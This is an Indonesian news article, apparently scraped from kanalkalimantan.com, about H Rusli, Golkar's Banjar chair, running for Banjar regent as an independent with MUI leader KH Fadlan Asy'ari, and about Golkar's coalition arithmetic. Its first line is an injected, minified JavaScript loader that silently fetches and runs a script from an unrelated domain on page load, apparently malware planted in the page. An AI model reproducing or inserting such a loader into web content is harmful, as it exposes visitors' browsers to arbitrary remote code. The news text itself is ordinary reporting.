(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tempuh Jalur Independen, Duet H Rusli-Guru Fadlan ‘Ubah Peta’ Politik Pilbup Banjar


MARTAPURA, Pilkada Banjar menjadi salah satu kontes politik paling dinamis di Kalsel. Banyaknya kandidat yang bertarung serta absennya incumbent, membuat kekuatan dukungan semakin menyebar. Dan kini, ‘peta politik’ kembali berubah dengan munculnya mantan Ketua DPRD Banjar H Rusli yang menggandeng Ketua Majelis Ulama Indonesia (MUI) Banjar KH Fadlan Asy’ari, sebagai wakilnya. Menariknya, meski menjabat sebagai Ketua DPD Golkar Banjar, H Rusli mantab memilih jalur independen. Gerbong partai beringin bakal diangkut?

Keseriusan H Rusli maju lewat jalur independen, dibuktikan dengan beredarnya surat mandat yang menunjuk lima orang ‘jenderal lapangan’ tim pemenangannya. Hal tersebut bagaimana kop surat yang tertulis “BAKAL CALON PERSEORANGAN BUPATI-WAKIL BUPATI, H RUSLI- M FADLAN, KABUPATEN BANJAR.”

Lima orang yang ditunjuk dalam surat mandat tersebut adalah M. Chairil Anwar yang merupakan sekertaris tim penjaringan DPD Golkar Kabupaten Banjar, Waluyo, Salimi, Ahmad Muzakir, dan Abdul Wahid. Surat mandat bernomor SM-01, HR-MF/BJR/2020.

Dikonfirmasi melalui via WA, Chairil Anwar membenarkan adanya komitmen dan komunikasi antara H Rusli yang saat ini anggaota DPRD Kalsel dengan Guru Fadlan ini. “Keduanya diharapkan dapat bersama mebangun kabupaten Banjar ke depan,” katanya.

Meski siap di jalur partai, namun Chairil mengatakan masih menunggu hasil dari DPP Golkar yang belum keluar. Ia tetap yakin bahwa DPP akan memilih H Rusli mengingat yang bersangkutan merupakan Ketua DPD Golkar Banjar. “Kita masih menunggu juga, mengenai perahu dan jalur mana yang akan ditempuh. Tentu kita masih menunggu juga hasil dari DPP Golkar,” akunya lagi.

Tapi dari analisis kanalkalimantan.com, langkah H Rusli maju di jalur independen merupakan bypass ke pendaftaran di KPU. Sebab, jika mengandalkan jalur partai, dia harus merajut lagi peta koalisi dengan parpol lain.

Sebab pada pemilu 2019 lalu, Golkar Banjar gagal memenuhi ketentuan ambang 9 kursi di DPRD Kalsel (20 persen suara) sebagai syarat dukungan Pilkada 2020. Walhasil, jika ingin menyorongkan jago, maka Golkar yang memiliki 8 kursi harus menggandeng partai lain. Sebab parta berlambang beringin ini masih kurang syarat 1 kursi lagi.

Dari data pemilu 2019, Golkar dan Gerindra sama-sama mengantongi 8 kursi di DPRD. Apabila dilihat total perolehan jumlah suara sah partai politik dan caleg Gerindra di lima dapil yang ada di Kabupaten Banjar tercatat 49.690 suara. Sementara untuk perolehan jumlah suara sah partai politik dan caleg untuk partai Golkar dari lima dapil sebanyak 49.232 suara.

Maka, diperlukan kerja ekstra melobi partai lain. Sedangkan pintu pendaftaran parpol, rata-rata semua sudah dikunci, lantaran masa pendaftaran sudah selesai.

Sementara itu, jika H Rusli maju menggunkan jalur independen akan lebih muda. Alasannya, ketokohan H Rusli dan juga Guru Fadlan yang masih memiliki pengaruh luas di masyarakat. Pada pemilu 2019 lalu, H Rusli merupakan ‘pemenang’ karena meraup jumlah suara tertinggi di Kalsel. Yakni mencapai 51 ribu suara.

Gerbong Golkar Berpindah?

Yang menarik, jika H Rusli nanti benar maju melalui jalur independen maka mesin politik Golkar bisa jadi tidak akan efektif digunakan kandidat lain. Sebab H Rusli yang notabene merupakan Ketua DPD Golkar Banjar akan menarik gerbong partai.

Walhasil, kandidat yang akan didukung Partai Golkar hanya akan mendapatkan gerbong kosong. Hal inilah yang mengubah peta politik Banjar secara umum, yakni memaksa kandidat yang mendaftar ke Golkar untuk menyiapkan lumbung suara cadangan.

Dikonfirmasi soal pencalonannya, H Rusli belum bemberikan komentar.

Di sisi lain, pertarungan di jalur independen dengan masuknya H Rusli juga akan bertambah seru. Sebab juga ada Mada Taruna menggandeng Ferryansyah, Andin Sofyanoor – Guru Busthomi, dan Yunani – Suryani.

Pendaftaran tiga calon independen ini terkesan diam-diam, sebab tidak banyak yang mengetahuinya. Namun Ketua KPU Banjar Muhaimin membenarkannya. “Pendaftaran 3 pasangan Bakal Calon Bupati Banjar pilkada 2020 sudah kami terima dan kami masukan datanya ke Silon,” katanya. (kanalkalimantan.com/rendy)

Reporter : Kanalkalimantan.com/Rendy
Editor : Chell


Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

6 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

8 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

8 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

10 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.